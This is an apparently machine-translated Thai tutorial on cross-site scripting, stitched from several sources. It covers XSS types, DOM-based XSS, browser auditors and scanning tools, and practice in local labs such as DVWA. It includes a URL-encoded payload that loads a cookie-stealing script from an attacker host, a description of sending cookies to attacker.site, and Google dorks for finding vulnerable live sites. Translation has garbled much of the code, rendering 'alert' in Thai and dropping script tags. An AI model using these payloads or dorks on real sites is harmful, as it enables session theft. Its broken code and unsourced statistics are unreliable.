• 1.XSS คืออะไร
• 2.ประเภทของ XSS
• 3.คุณสมบัติของ XSS ที่ใช้ DOM
• 4.ผู้ตรวจสอบ XSS
• 5.ตัวอย่างการแสวงหาประโยชน์จาก XSS
• 6. ค้นหาไซต์ที่เสี่ยงต่อ XSS
• 7.โปรแกรมสำหรับค้นหาและสแกนช่องโหว่ XSS

การเขียนสคริปต์ข้ามไซต์ (XSS) เป็นช่องโหว่ที่เกี่ยวข้องกับการแทรกโค้ดฝั่งไคลเอ็นต์ (JavaScript) ลงในหน้าเว็บที่ผู้ใช้รายอื่นกำลังดูอยู่

ช่องโหว่นี้เกิดจากการกรองข้อมูลที่ผู้ใช้ส่งเพื่อแทรกลงในหน้าเว็บไม่เพียงพอ เข้าใจง่ายกว่ามาก ตัวอย่างที่เป็นรูปธรรม- จำสมุดเยี่ยมใด ๆ - เป็นโปรแกรมที่ออกแบบมาเพื่อรับข้อมูลจากผู้ใช้แล้วแสดง ลองจินตนาการว่าสมุดเยี่ยมไม่ได้ตรวจสอบหรือกรองข้อมูลที่ป้อน แต่อย่างใด แต่เพียงแสดงข้อมูลเหล่านั้น

คุณสามารถร่างสคริปต์ที่ง่ายที่สุดของคุณได้ (ไม่มีอะไรง่ายไปกว่าการเขียนสคริปต์ที่ไม่ดีใน PHP - หลายๆ คนทำเช่นนี้) แต่มีตัวเลือกสำเร็จรูปมากมายอยู่แล้ว ตัวอย่างเช่น ฉันขอแนะนำให้เริ่มต้นด้วย Dojo และ OWASP Mutillidae II มีตัวอย่างที่คล้ายกันอยู่ที่นั่น ในสภาพแวดล้อม Dojo แบบสแตนด์อโลน ให้ไปที่ลิงก์นี้ในเบราว์เซอร์ของคุณ: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

หากผู้ใช้รายใดรายหนึ่งเข้ามา:

สวัสดี! คุณเป็นอย่างไร.

หน้าเว็บจะแสดง:

สวัสดี! คุณเป็นอย่างไร.

และหากผู้ใช้ป้อนข้อมูลนี้:

สวัสดี! คุณเป็นอย่างไร. alert("Pwned")

จากนั้นจะแสดงผลดังนี้:

เบราว์เซอร์จัดเก็บคุกกี้หลายตัวสำหรับไซต์จำนวนมาก แต่ละไซต์สามารถรับได้เฉพาะคุกกี้ที่บันทึกไว้เท่านั้น ตัวอย่างเช่น example.com ได้จัดเก็บคุกกี้บางส่วนไว้ในเบราว์เซอร์ของคุณ หากคุณเยี่ยมชม another.com ไซต์นี้ (สคริปต์ไคลเอนต์และเซิร์ฟเวอร์) จะไม่สามารถเข้าถึงคุกกี้ที่ example.com เก็บไว้

หาก example.com มีความเสี่ยงต่อ XSS นั่นหมายความว่าเราสามารถแทรกโค้ด JavaScript ลงไปได้ และโค้ดนั้นจะถูกดำเนินการในนามของ example.com! เหล่านั้น. ตัวอย่างเช่น รหัสนี้จะเข้าถึงคุกกี้ของ example.com

ฉันคิดว่าทุกคนจำได้ว่า JavaScript ดำเนินการในเบราว์เซอร์ของผู้ใช้เช่น เมื่อมี XSS โค้ดที่เป็นอันตรายที่ฝังไว้จะสามารถเข้าถึงข้อมูลของผู้ใช้ที่เปิดหน้าเว็บไซต์ได้

โค้ดที่ฝังไว้สามารถทำทุกอย่างที่ JavaScript สามารถทำได้ กล่าวคือ:

• เข้าถึงคุกกี้ของเว็บไซต์ที่คุณกำลังดูอยู่
• อาจทำการเปลี่ยนแปลงใดๆ รูปร่างหน้า
• เข้าถึงคลิปบอร์ด
• สามารถใช้โปรแกรม JavaScript ได้ เช่น คีย์ล็อกเกอร์ (ตัวสกัดกั้นการกดแป้นพิมพ์)
• รับได้ที่ BeEF

ตัวอย่างที่ง่ายที่สุดกับคุกกี้:

การแจ้งเตือน (document.cookie)

อันที่จริงแล้ว การแจ้งเตือนใช้เพื่อตรวจจับ XSS เท่านั้น เพย์โหลดที่เป็นอันตรายจริงจะดำเนินการที่ซ่อนอยู่ มันแอบติดต่อกับเซิร์ฟเวอร์ระยะไกลของผู้โจมตีและถ่ายโอนข้อมูลที่ถูกขโมยไป

สิ่งสำคัญที่สุดที่ต้องเข้าใจเกี่ยวกับประเภทของ XSS คือ:

• เก็บไว้ (ถาวร)
• สะท้อน (ไม่แน่นอน)

ตัวอย่างค่าคงที่:

• ข้อความที่สร้างขึ้นเป็นพิเศษโดยผู้โจมตีในสมุดเยี่ยมชม (ความคิดเห็น ข้อความฟอรัม โปรไฟล์) ซึ่งบันทึกไว้บนเซิร์ฟเวอร์ จะถูกดาวน์โหลดจากเซิร์ฟเวอร์ทุกครั้งที่ผู้ใช้ร้องขอให้แสดงหน้านี้
• ผู้โจมตีสามารถเข้าถึงข้อมูลเซิร์ฟเวอร์ได้ เช่น ผ่านการแทรก SQL และนำโค้ด JavaScript ที่เป็นอันตราย (ที่มีกิโลล็อกเกอร์หรือ BeEF) เข้าไปในข้อมูลที่มอบให้กับผู้ใช้

ตัวอย่างที่ไม่ถาวร:

• มีการค้นหาบนไซต์ที่แสดงบางอย่างเช่น "คุณค้นหา: [สตริงการค้นหา]" พร้อมด้วยผลการค้นหา และข้อมูลไม่ได้รับการกรองอย่างถูกต้อง เนื่องจากเพจดังกล่าวจะแสดงต่อผู้ที่มีลิงก์ไปยังเพจนั้นเท่านั้น การโจมตีจะไม่ทำงานจนกว่าผู้โจมตีจะส่งลิงก์ไปยังผู้ใช้รายอื่นของไซต์ แทนที่จะส่งลิงก์ไปยังเหยื่อ คุณสามารถใช้การวางสคริปต์ที่เป็นอันตรายบนไซต์ที่เป็นกลางที่เหยื่อเข้าชมได้

พวกเขายังแยกแยะความแตกต่าง (บางประเภทเป็นช่องโหว่ XSS ที่ไม่ถาวร บางคนบอกว่าประเภทนี้อาจเป็นประเภทหนึ่งของ XSS แบบถาวร):

• โมเดล DOM

พูดง่ายๆ ก็คือเราสามารถเห็นโค้ดที่เป็นอันตรายของ XSS ที่ไม่ถาวร "ปกติ" หากเราเปิดโค้ด HTML ตัวอย่างเช่น ลิงก์ถูกสร้างขึ้นในลักษณะนี้:

Http://example.com/search.php?q="/>การแจ้งเตือน(1)

และเมื่อเราเปิดซอร์สโค้ด HTML เราจะเห็นสิ่งนี้:

< div class = "m__search" > < form method = "get" action = "/search.php" > < input type = "text" class = "ui-input query" name = "q" value = "" /> < script >การแจ้งเตือน(1)" />< button type = "submit" class = "ui-button" >หา

และ DOM XSS จะเปลี่ยนโครงสร้าง DOM ซึ่งสร้างขึ้นในเบราว์เซอร์ได้ทันที และเราจะเห็นเฉพาะโค้ดที่เป็นอันตรายเมื่อดูโครงสร้าง DOM ที่สร้างขึ้นเท่านั้น HTML จะไม่เปลี่ยนแปลง ลองใช้โค้ดนี้เป็นตัวอย่าง:

< html > < head > < title >เว็บไซต์:::DOM XSS< meta charset = "UTF-8" > < meta name = "viewport" content = "width=device-width, initial-scale=1.0" > < body > < div id = "default" >เกิดข้อผิดพลาด...< script >ฟังก์ชัน OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) function get_fragment() ( var r4c = "(.*?)"; var results = location.hash.match(".*input=token(" + r4c + ");") if (ผลลัพธ์) ( document.getElementById("default").innerHTML = ""; return (unescape(results)); ) else ( return null; ) ) display_session = OnLoad();< br >< br >")

document.write("รหัสเซสชันของคุณคือ: " + display_session + "

จากนั้นในเบราว์เซอร์เราจะเห็น:

รหัสแหล่งที่มาของหน้า:

มาสร้างที่อยู่ดังนี้:

http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

ตอนนี้หน้าจะมีลักษณะดังนี้: แต่ลองมาดูกันซอร์สโค้ด

HTML:

ไม่มีอะไรเปลี่ยนแปลงเลย นี่คือสิ่งที่ฉันกำลังพูดถึง เราต้องดูโครงสร้าง DOM ของเอกสารเพื่อระบุโค้ดที่เป็นอันตราย:

นี่คือต้นแบบ XSS ที่ใช้งานได้ สำหรับการโจมตีจริง เราจำเป็นต้องมีเพย์โหลดที่ซับซ้อนมากขึ้น ซึ่งเป็นไปไม่ได้เนื่องจากแอปพลิเคชันหยุดอ่านทันทีหลังเครื่องหมายอัฒภาค และบางอย่างเช่น alert(1);alert(2) ไม่ใช่ เป็นไปได้อีกต่อไป อย่างไรก็ตาม ต้องขอบคุณ unescape() เราจึงสามารถใช้เพย์โหลดเช่นนี้ในข้อมูลที่ส่งคืนได้:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

โดยที่เราแทนที่สัญลักษณ์ ;

ขณะนี้เราสามารถเขียนเพย์โหลด JavaScript ที่เป็นอันตรายและสร้างลิงก์เพื่อส่งไปยังเหยื่อได้ เช่นเดียวกับที่ทำกับสคริปต์ข้ามไซต์มาตรฐานที่ไม่ถาวร ผู้ตรวจสอบบัญชี XSSใน

dom_xss.html:30 ผู้ตรวจสอบ XSS ปฏิเสธที่จะรันสคริปต์ใน 'http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);' เนื่องจากพบซอร์สโค้ดภายในคำขอ . ผู้ตรวจสอบถูกเปิดใช้งานเนื่องจากเซิร์ฟเวอร์ส่งส่วนหัว 'X-XSS-Protection' หรือ 'Content-Security-Policy'

เหล่านั้น. ขณะนี้เบราว์เซอร์มีผู้ตรวจสอบ XSS ที่จะพยายามป้องกัน XSS Firefox ยังไม่มีฟังก์ชันนี้ แต่ฉันคิดว่ามันเป็นเรื่องของเวลา หากการใช้งานในเบราว์เซอร์สำเร็จเราสามารถพูดถึงปัญหาสำคัญในการใช้ XSS ได้

เป็นเรื่องดีที่จำไว้ว่าเบราว์เซอร์สมัยใหม่กำลังดำเนินการเพื่อจำกัดระดับของปัญหาการหาประโยชน์ เช่น XSS ที่ไม่ถาวรและ XSS ที่ใช้ DOM นี่เป็นสิ่งที่ควรจำไว้เมื่อทดสอบเว็บไซต์โดยใช้เบราว์เซอร์ - อาจกลายเป็นว่าแอปพลิเคชันเว็บนั้นมีช่องโหว่ แต่คุณไม่เห็นป๊อปอัปยืนยันเพียงเพราะเบราว์เซอร์กำลังบล็อกอยู่

ผู้โจมตีที่ต้องการใช้ประโยชน์จากช่องโหว่ของสคริปต์ข้ามไซต์จะต้องเข้าถึงช่องโหว่แต่ละประเภทที่แตกต่างกัน อธิบายเวกเตอร์การโจมตีสำหรับแต่ละคลาสไว้ที่นี่

สำหรับช่องโหว่ XSS การโจมตีสามารถใช้ BeEF ซึ่งจะขยายการโจมตีจากเว็บไซต์ไปยังสภาพแวดล้อมท้องถิ่นของผู้ใช้

ตัวอย่างการโจมตี XSS ที่ไม่ถาวร

1. อลิซเข้าชมเว็บไซต์บางแห่งที่โฮสต์โดย Bob บ่อยครั้ง เว็บไซต์ของ Bob อนุญาตให้ Alice เข้าสู่ระบบด้วยชื่อผู้ใช้/รหัสผ่าน และจัดเก็บข้อมูลที่ละเอียดอ่อน เช่น ข้อมูลการชำระเงิน เมื่อผู้ใช้เข้าสู่ระบบ เบราว์เซอร์จะจัดเก็บคุกกี้การอนุญาตซึ่งมีลักษณะเหมือนอักขระที่ไม่มีความหมาย เช่น คอมพิวเตอร์ทั้งสองเครื่อง (ไคลเอนต์และเซิร์ฟเวอร์) จำได้ว่าเธอเข้ามา

2. Mallory ตั้งข้อสังเกตว่าเว็บไซต์ของ Bob มีช่องโหว่ XSS ที่ไม่ถาวร:

2.1 เมื่อคุณเยี่ยมชมหน้าค้นหา ให้กรอกสตริงการค้นหาและคลิกที่ปุ่มส่ง หากไม่พบผลลัพธ์ หน้าจะแสดงสตริงการค้นหาที่ป้อนตามด้วยคำว่า “ไม่พบ” และ URL มีลักษณะเป็น http://bobssite .org?q= เธอ คำค้นหา

2.2 ด้วยคำค้นหาปกติเช่นคำว่า "สุนัข" หน้าเว็บจะแสดงเพียง "ไม่พบสุนัข" และ URL http://bobssite.org?q=dogs ซึ่งเป็นพฤติกรรมที่ค่อนข้างปกติ

2.3 อย่างไรก็ตาม เมื่อคำค้นหาผิดปกติ เช่น alert('xss'); -

2.3.1 ข้อความเตือนจะปรากฏขึ้น (ซึ่งระบุว่า "xss")

2.3.2 หน้าแสดงการแจ้งเตือน('xss'); ไม่พบพร้อมกับข้อความแสดงข้อผิดพลาดพร้อมข้อความ 'xss'

2.3.3 URL ที่เหมาะสำหรับการแสวงหาประโยชน์ http://bobssite.org?q=alert('xss');

3. Mallory สร้าง URL เพื่อใช้ประโยชน์จากช่องโหว่:

3.1 เธอสร้าง URL http://bobssite.org?q=puppies เธออาจเลือกที่จะแปลงอักขระ ASCII เป็นรูปแบบเลขฐานสิบหก เช่น http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E เพื่อที่จะ เพื่อป้องกันไม่ให้ผู้อื่นถอดรหัส URL ที่เป็นอันตรายทันที

3.2 เธอส่งอีเมลถึงสมาชิกที่ไม่สงสัยบางคนของไซต์ของ Bob โดยบอกว่า "ลองดูสุนัขเจ๋ง ๆ สิ"

4. อลิซได้รับจดหมาย เธอรักสุนัขและคลิกลิงก์ เธอไปที่ไซต์ของ Bob เพื่อค้นหา เธอไม่พบสิ่งใดเลย "ไม่พบสุนัข" ปรากฏขึ้นที่นั่น และตรงกลางสุดจะมีการเปิดตัวแท็กพร้อมสคริปต์ (มองไม่เห็นบนหน้าจอ) ดาวน์โหลดและเรียกใช้งาน Malory's โปรแกรม authstealer.js (กระตุ้นการโจมตี XSS) อลิซลืมเรื่องนี้ไปซะ

5. โปรแกรม authstealer.js ทำงานในเบราว์เซอร์ของ Alice เหมือนกับว่ามาจากเว็บไซต์ของ Bob เธอหยิบสำเนาคุกกี้อนุญาตของอลิซแล้วส่งไปที่เซิร์ฟเวอร์ของ Malory ซึ่ง Malory ดึงข้อมูลเหล่านั้นกลับมา

7. เมื่อ Malorie อยู่ข้างในแล้ว เธอไปที่ส่วนการชำระเงินของเว็บไซต์ ดูและขโมยสำเนาหมายเลขนั้น บัตรเครดิตอลิซ. จากนั้นเธอก็ไปเปลี่ยนรหัสผ่านเช่น ตอนนี้อลิซไม่สามารถเข้ามาได้อีกต่อไป

8. เธอตัดสินใจที่จะดำเนินการขั้นตอนต่อไปและส่งลิงก์ที่สร้างขึ้นในลักษณะนี้ให้กับ Bob เอง และด้วยเหตุนี้จึงได้รับ สิทธิพิเศษของผู้ดูแลระบบเว็บไซต์ของบ๊อบ.

การโจมตี XSS อย่างต่อเนื่อง

Dorks สำหรับ XSS

ขั้นตอนแรกคือการเลือกไซต์ที่เราจะทำการโจมตี XSS สามารถค้นหาไซต์ได้โดยใช้ Google dorks นี่คือ Dorks บางส่วนที่คุณสามารถคัดลอกและวางลงในการค้นหาของ Google:

• inurl:search.php?q=
• inurl:.php?q=
• inurl:search.php
• inurl:.php?search=

รายชื่อเว็บไซต์จะเปิดต่อหน้าเรา คุณต้องเปิดไซต์และค้นหาช่องป้อนข้อมูล เช่น แบบฟอร์มคำติชม แบบฟอร์มป้อนข้อมูล การค้นหาไซต์ ฯลฯ

ให้ฉันทราบทันทีว่าการค้นหาช่องโหว่ในเว็บแอปพลิเคชันยอดนิยมที่อัปเดตอัตโนมัตินั้นแทบจะไม่มีประโยชน์เลย ตัวอย่างคลาสสิกของแอปพลิเคชันดังกล่าวคือ WordPress ในความเป็นจริง มีช่องโหว่ใน WordPress และโดยเฉพาะอย่างยิ่งในปลั๊กอิน นอกจากนี้ยังมีเว็บไซต์จำนวนมากที่ไม่ได้อัปเดตทั้งกลไก WordPress (เนื่องจากผู้ดูแลเว็บได้ทำการเปลี่ยนแปลงซอร์สโค้ด) หรือปลั๊กอินและธีมของพวกเขา (ตามกฎแล้วสิ่งเหล่านี้คือปลั๊กอินและธีมที่ละเมิดลิขสิทธิ์) แต่ถ้าคุณอ่านหัวข้อนี้และเรียนรู้สิ่งใหม่จากส่วนนี้ แสดงว่า WordPress ยังไม่เหมาะกับคุณ... เราจะกลับมาที่ส่วนนี้ในภายหลังอย่างแน่นอน

เป้าหมายที่ดีที่สุดคือเอ็นจิ้นและสคริปต์ที่เขียนเองที่หลากหลาย

คุณสามารถเลือกเพย์โหลดการแทรกเป็นได้

การแจ้งเตือน(1)

โปรดทราบว่าแท็กโค้ด HTML ใดที่โค้ดที่ฝังไว้ของคุณตกอยู่ นี่คือตัวอย่างของช่องป้อนข้อมูลทั่วไป

< input type = "text" class = "ui-input query" name = "q" value = "ปลอกหมอน" />< script >การแจ้งเตือน(1)< input value = "" />

น้ำหนักบรรทุกของเราจะจบลงตรงที่คำว่า "ปลอกหมอน" อยู่ในขณะนี้ เหล่านั้น. เปลี่ยนเป็นค่าของแท็กอินพุต เราสามารถหลีกเลี่ยงปัญหานี้ได้โดยการปิดเครื่องหมายคำพูดคู่แล้วปิดแท็กด้วย “/>

"/>แจ้งเตือน(1)

เครื่องสแกนเว็บแอปพลิเคชันทั้งหมดอาจมีเครื่องสแกนช่องโหว่ XSS ในตัว หัวข้อนี้ไม่ครอบคลุม ควรทำความคุ้นเคยกับเครื่องสแกนแต่ละเครื่องแยกกันจะดีกว่า

นอกจากนี้ยังมีเครื่องมือพิเศษสำหรับการสแกนหาช่องโหว่ XSS ในบรรดาสิ่งเหล่านี้เราสามารถเน้นเป็นพิเศษ:

• XSSer ไม่เพียงเท่านั้น เครื่องสแกนอันทรงพลังใครรู้วิธีใช้ วิธีการที่แตกต่างกันการใช้และหลีกเลี่ยงการกรองยังเป็นเครื่องมืออัตโนมัติสำหรับการค้นหาไซต์ที่เสี่ยงต่อ XSS (โดย dorks) สำหรับไซต์ที่พบช่องโหว่ จะสามารถอัดเพย์โหลดสำหรับการโจมตีจริงได้
• XssPy ยังเป็นเครื่องมือที่ค่อนข้างอิสระที่สามารถค้นหาหน้าทั้งหมดของไซต์ (รวมถึงหน้าในโดเมนย่อย) และตรวจสอบองค์ประกอบอินพุตทั้งหมดบนหน้าเหล่านี้
• BruteXSS – คุณสมบัติเชิงบวกของเครื่องมือนี้คือการยกเว้นผลบวกลวงโดยสิ้นเชิง

ชุดแอปพลิเคชันเว็บที่มีช่องโหว่ส่วนใหญ่ (ยกเว้นแอปพลิเคชันที่มีความเชี่ยวชาญสูงบางรายการ) มีไซต์ที่เสี่ยงต่อ XSS มากที่สุด ตัวเลือกที่ดีที่สุดคือการใช้งานในสภาพแวดล้อมการเรียนรู้แบบออฟไลน์ Dojo ซึ่งได้รวบรวมแอปพลิเคชันมากมายสำหรับการทดสอบ ตัวอย่างเช่น คุณสามารถฝึกทักษะในการระบุและใช้ประโยชน์จาก XSS โดย:

เว็บแอปที่มีช่องโหว่ (DVWA):

• http://localhost/dvwa/vulnerabilities/xss_r/ (XSS ที่ไม่ถาวร)
• http://localhost/dvwa/vulnerabilities/xss_s/ (XSS ที่เก็บไว้)

Mutillidae/NOWASP (มี XSS หลายรูปแบบ)

• http://localhost/mutillidae/

การใช้สคริปต์ข้ามไซต์ จาวาสคริปต์– ประเภทการโจมตีที่ได้รับความนิยมมากที่สุด ในเอกสารนี้ เราจะบอกคุณเกี่ยวกับปัญหาที่อาจเกิดขึ้นจากการใช้จาวาสคริปต์ และวิธีป้องกันตนเองจากการโจมตี XSS

XSS เป็นการโจมตีประเภทหนึ่งต่อผู้ใช้ทรัพยากรอินเทอร์เน็ตโดยมีวัตถุประสงค์เพื่อขโมยข้อมูลการตรวจสอบสิทธิ์ของผู้ดูแลระบบไซต์เพื่อเข้าถึงส่วนผู้ดูแลระบบและผู้ใช้รายอื่นที่มีโอกาส การเข้าถึงส่วนบุคคลเพื่อปิดส่วนของทรัพยากร

การโจมตีเหล่านี้สามารถทำได้ไม่เพียงแต่เพื่อแฮ็กไซต์เท่านั้น แต่ยังเพื่อขโมย:

• ข้อมูลประจำตัวสำหรับการเข้าถึงทรัพยากรของบุคคลที่สาม
• หมายเลขบัตรธนาคาร
• ข้อมูลสำหรับการเข้าถึงกระเป๋าเงินอิเล็กทรอนิกส์
• รายละเอียดการติดต่อ;
• ข้อมูลที่เป็นความลับของผู้ใช้รายอื่น

การโจมตีประเภทนี้มีสองทิศทาง:

ใช้งานอยู่ – การโจมตีประเภทหนึ่งเมื่อผู้โจมตีพยายามค้นหาช่องโหว่ในตัวกรองทรัพยากรอินเทอร์เน็ต ผ่าน การรวมกันบางอย่างอักขระและแท็กแฮกเกอร์จะสร้างคำขอที่ทรัพยากรเข้าใจและดำเนินการคำสั่ง หลังจากพบช่องโหว่ในระบบรักษาความปลอดภัยแล้ว โค้ดที่เป็นอันตรายจะถูกแทรกลงในคำขอ ซึ่งจะส่งคุกกี้ทั้งหมดไปยังตำแหน่งที่สะดวกสำหรับแฮ็กเกอร์

เรื่อย ๆ - เกี่ยวข้องกับการแทรกแซงของเป้าหมายการโจมตี แนวคิดคือการบังคับให้ผู้ใช้ติดตามลิงก์ที่เป็นอันตรายเพื่อนำไปใช้ รหัสที่เป็นอันตราย- การโจมตีเหล่านี้ทำได้ยากเนื่องจากผู้โจมตีต้องมีความรู้ทางเทคนิคที่ยอดเยี่ยมและมีความรู้ด้านจิตวิทยาเป็นอย่างดี

เพื่อหลีกเลี่ยงการตกเป็นเหยื่อของการโจมตี XSS คุณควรปฏิบัติตามกฎความปลอดภัยต่อไปนี้:

จากสถิติพบว่า 84% ของทรัพยากรอินเทอร์เน็ตได้รับการปกป้องอย่างดีจากการโจมตี XSS อีก 16% ไม่สามารถต้านทานพวกเขาได้อย่างมีประสิทธิภาพ การกำจัดข้อบกพร่องร้ายแรงนี้ทำให้เจ้าของไซต์ต้องลงทุนเพิ่มเติมด้านความปลอดภัย ซึ่งส่วนใหญ่ยังไม่พร้อม อย่างไรก็ตาม กฎหมายที่เข้มงวดมากขึ้นเกี่ยวกับความเสียหาย การรั่วไหล และการเปิดเผยข้อมูลส่วนบุคคล กำลังบังคับให้เจ้าของที่ไร้ศีลธรรมต้องปรับปรุงความปลอดภัยของเว็บไซต์ของตนมากขึ้น

โอรี่ ซีกัล

เรียนรู้ว่าแฮกเกอร์ใช้การโจมตีแบบ Cross-site Scripting อย่างไร สิ่งที่พวกเขาทำ (และไม่) สร้างความเสียหาย วิธีตรวจจับ และวิธีปกป้องเว็บไซต์ของคุณและผู้เยี่ยมชมจากการละเมิดความเป็นส่วนตัวและความปลอดภัยที่เป็นอันตรายเหล่านี้

การเขียนสคริปต์ข้ามไซต์ (หรือเรียกสั้น ๆ ว่า XSS) เป็นหนึ่งในการโจมตีระดับแอปพลิเคชันที่พบบ่อยที่สุดที่แฮกเกอร์ใช้เพื่อโจมตีแอปพลิเคชันเว็บ XSS คือการโจมตีความเป็นส่วนตัวของลูกค้าของเว็บไซต์ใดเว็บไซต์หนึ่ง อาจนำไปสู่การทำลายระบบความปลอดภัยโดยสิ้นเชิงเมื่อข้อมูลลูกค้าถูกขโมยและนำไปใช้ในอนาคตเพื่อวัตถุประสงค์บางอย่าง การโจมตีส่วนใหญ่เกี่ยวข้องกับสองฝ่าย: ทั้งผู้โจมตีและเว็บไซต์ หรือผู้โจมตีและไคลเอ็นต์ของเหยื่อ อย่างไรก็ตาม การโจมตี XSS เกี่ยวข้องกับสามฝ่าย: ผู้โจมตี ไคลเอนต์ และเว็บไซต์

วัตถุประสงค์ของการโจมตี XSS คือการขโมยคุกกี้หรือคุกกี้อื่นๆ จากคอมพิวเตอร์ของลูกค้า ข้อมูลที่เป็นความลับซึ่งสามารถระบุลูกค้าบนเว็บไซต์ได้ การมีข้อมูลเพื่อระบุตัวเขาเป็นผู้ใช้ที่ถูกต้อง ผู้โจมตีสามารถดำเนินการบนไซต์ในฐานะผู้ใช้ดังกล่าวได้ เช่น แกล้งทำเป็นเขา ตัวอย่างเช่น ในการตรวจสอบครั้งหนึ่งที่ดำเนินการในบริษัทขนาดใหญ่ เป็นไปได้ที่จะได้รับข้อมูลส่วนตัวและหมายเลขบัตรเครดิตของผู้ใช้โดยใช้การโจมตี XSS สำเร็จได้ด้วยการวิ่ง รหัสพิเศษในจาวาสคริปต์ รหัสนี้ดำเนินการในเบราว์เซอร์ของเหยื่อ (ไคลเอนต์) ซึ่งมีสิทธิ์เข้าถึงเว็บไซต์ สิทธิพิเศษของ JavaScript มีจำนวนจำกัดมากซึ่งไม่อนุญาตให้สคริปต์เข้าถึงสิ่งอื่นใดนอกเหนือจากข้อมูลเฉพาะไซต์ สิ่งสำคัญคือต้องเน้นย้ำว่าถึงแม้จะมีช่องโหว่อยู่บนเว็บไซต์ แต่ตัวเว็บไซต์เองก็ไม่ได้รับความเสียหายโดยตรง แต่นี่ก็เพียงพอแล้วสำหรับการรวบรวมสคริปต์ คุกกี้และส่งพวกเขาไปยังผู้โจมตี เป็นผลให้ผู้โจมตีได้รับข้อมูลที่จำเป็นและสามารถเลียนแบบเหยื่อได้

ตั้งชื่อไซต์ที่ถูกโจมตีดังนี้: www.vulnerable.site การโจมตี XSS แบบดั้งเดิมอาศัยสคริปต์ที่มีช่องโหว่ซึ่งอยู่บนเว็บไซต์ที่มีช่องโหว่ สคริปต์นี้จะอ่านส่วนหนึ่งของคำขอ HTTP (โดยปกติจะเป็นพารามิเตอร์ แต่บางครั้งก็อ่านส่วนหัวหรือเส้นทาง HTTP ด้วย) และอ่านซ้ำสำหรับหน้าตอบกลับ ไม่ว่าจะทั้งหมดหรือเพียงบางส่วน การดำเนินการนี้ไม่ได้ทำให้คำขอสะอาด (เช่น ไม่ได้ตรวจสอบว่าคำขอไม่มีโค้ด JavaScript หรือแท็ก HTML) สมมติว่าสคริปต์นี้เรียกว่ายินดีต้อนรับ cgi และพารามิเตอร์ของมันคือชื่อ มันสามารถใช้ได้เช่นนี้:

สิ่งนี้จะถูกละเมิดได้อย่างไร? ผู้โจมตีจะต้องสามารถล่อลวงลูกค้า (เหยื่อ) ให้คลิกลิงก์ที่ผู้โจมตีให้ไว้ได้ นี่คือลิงก์ที่สร้างขึ้นอย่างระมัดระวังและประสงค์ร้าย ซึ่งทำให้เว็บเบราว์เซอร์ของเหยื่อเข้าถึงเว็บไซต์ (www.vulnerable.site) และเรียกใช้สคริปต์ที่มีช่องโหว่ ข้อมูลสำหรับสคริปต์นี้มีโค้ด JavaScript ที่เข้าถึงคุกกี้ที่เก็บไว้โดยเบราว์เซอร์ของลูกค้าสำหรับเว็บไซต์ www.vulnerable.site สิ่งนี้ได้รับอนุญาตเนื่องจากเบราว์เซอร์ของลูกค้า "คิด" ว่าโค้ด JavaScript นั้นมาจาก www.vulnerable.site และโมเดลความปลอดภัยของ JavaScript อนุญาตให้สคริปต์ที่มาจากไซต์ใดไซต์หนึ่งสามารถเข้าถึงคุกกี้ที่เป็นของไซต์นั้นได้

การตอบสนองจากไซต์ที่มีช่องโหว่จะเป็นดังนี้:

เบราว์เซอร์ของไคลเอนต์เหยื่อตีความคำขอนี้เป็นหน้า HTML ที่มีโค้ด JavaScript เมื่อดำเนินการโค้ดนี้จะสามารถเข้าถึงคุกกี้ทั้งหมดที่เป็นของเว็บไซต์ www.vulnerable.site ด้วยเหตุนี้ จะทำให้หน้าต่างป๊อปอัปในเบราว์เซอร์แสดงคุกกี้ทั้งหมดของลูกค้าที่เกี่ยวข้องกับ www.vulnerable.site

แน่นอนว่าการโจมตีที่แท้จริงเกี่ยวข้องกับการส่งไฟล์เหล่านี้ไปยังผู้โจมตี ในการดำเนินการนี้ ผู้โจมตีสามารถสร้างเว็บไซต์ (www.attacker.site) และใช้สคริปต์เพื่อรับคุกกี้ได้ แทนที่จะเรียกหน้าต่างป๊อปอัป ผู้โจมตีจะเขียนโค้ดที่เข้าถึง URL ไปยัง www.attacker.site ในเรื่องนี้ สคริปต์จะถูกดำเนินการเพื่อรับคุกกี้ พารามิเตอร์สำหรับสคริปต์นี้ถูกขโมยคุกกี้ ดังนั้นผู้โจมตีสามารถรับคุกกี้ได้จากเซิร์ฟเวอร์ www.attacker.site

ทันทีหลังจากโหลดหน้านี้ เบราว์เซอร์จะดำเนินการโค้ด JavaScript ที่แทรกไว้ที่นั่น และส่งต่อคำขอไปยังสคริปต์ collect.cgi บน www.attacker.site พร้อมกับค่าของคุกกี้จาก www.vulnerable.site ที่เบราว์เซอร์มีอยู่แล้ว สิ่งนี้จะบ่อนทำลายความปลอดภัยของคุกกี้ www.vulnerable.site ที่ลูกค้ามี ซึ่งจะทำให้ผู้โจมตีสามารถแสร้งทำเป็นเหยื่อได้ การรักษาความลับของลูกค้าถูกละเมิดโดยสิ้นเชิง

บันทึก.
โดยทั่วไปแล้ว การเรียกป๊อปอัปโดยใช้ JavaScript ก็เพียงพอที่จะแสดงให้เห็นช่องโหว่ของไซต์ต่อการโจมตี XSS หากคุณสามารถเรียกใช้ฟังก์ชัน Alert จาก JavaScript ได้ ก็มักจะไม่มีเหตุผลว่าทำไมการโทรจึงล้มเหลว นี่คือสาเหตุที่ตัวอย่างการโจมตี XSS ส่วนใหญ่ใช้ฟังก์ชันการแจ้งเตือน ซึ่งทำให้ง่ายมากที่จะระบุความสำเร็จของการโจมตี

การโจมตีสามารถเกิดขึ้นได้ในเบราว์เซอร์ของเหยื่อเท่านั้น ซึ่งเป็นเบราว์เซอร์เดียวกับที่ใช้ในการเข้าถึงไซต์ (www.vulnerable.site) ผู้โจมตีจะต้องบังคับให้ไคลเอ็นต์เข้าถึงลิงก์ที่เป็นอันตราย ซึ่งสามารถทำได้หลายวิธี

• ผู้โจมตีส่งอีเมลที่มีหน้า HTML เพื่อหลอกให้เบราว์เซอร์เปิดลิงก์ สิ่งนี้ต้องการให้เหยื่อใช้งานไคลเอนต์ อีเมล, สามารถทำงานกับ HTML ได้ และโปรแกรมดู HTML บนไคลเอนต์จะต้องเป็นเบราว์เซอร์เดียวกับที่ใช้ในการเข้าถึง www.vulnerable.site

